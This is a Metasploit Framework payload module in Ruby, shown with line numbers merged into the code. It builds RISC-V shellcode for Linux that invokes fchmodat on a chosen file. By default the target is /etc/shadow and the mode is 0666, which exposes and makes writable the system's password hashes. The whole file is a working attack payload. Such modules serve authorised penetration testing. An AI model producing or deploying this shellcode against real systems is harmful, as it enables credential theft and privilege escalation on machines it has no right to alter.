Path: blob/master/modules/payloads/singles/linux/riscv32le/chmod.rb
27932 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 5278include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Chmod',15'Description' => 'Runs chmod on the specified file with specified mode.',16'Author' => 'bcoles',17'License' => MSF_LICENSE,18'Platform' => 'linux',19'Arch' => ARCH_RISCV32LE,20'References' => [21['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],22['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/chmod/chmod.s'],23]24)25)26register_options([27OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),28OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),29])30end3132# @return [String] the full path of the file to be modified33def chmod_file_path34datastore['FILE'] || ''35end3637# @return [Integer] the desired mode for the file38def mode39(datastore['MODE'] || '0666').oct40rescue StandardError => e41raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"42end4344# @return [Integer] RISC-V instruction to load mode into a2 register45# For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a246def chmod_instruction(mode)47(mode & 0xfff) << 20 | 0x061348end4950def generate(_opts = {})51raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF5253shellcode = [540xf9c00513, # li a0,-100550x00000597, # auipc a1,0x0560x02458593, # addi a1,a1,36 # 100a0 <path>57chmod_instruction(mode), # li a2,<mode>580x00000693, # li a3,0590x03500893, # li a7,53 # __NR_fchmodat600x00000073, # ecall610x00000513, # li a0,0620x05d00893, # li a7,93 # __NR_exit630x00000073, # ecall64].pack('V*')65shellcode += chmod_file_path + "\x00"6667# align our shellcode to 4 bytes68shellcode += "\x00" while shellcode.bytesize % 4 != 06970super.to_s + shellcode71end72end737475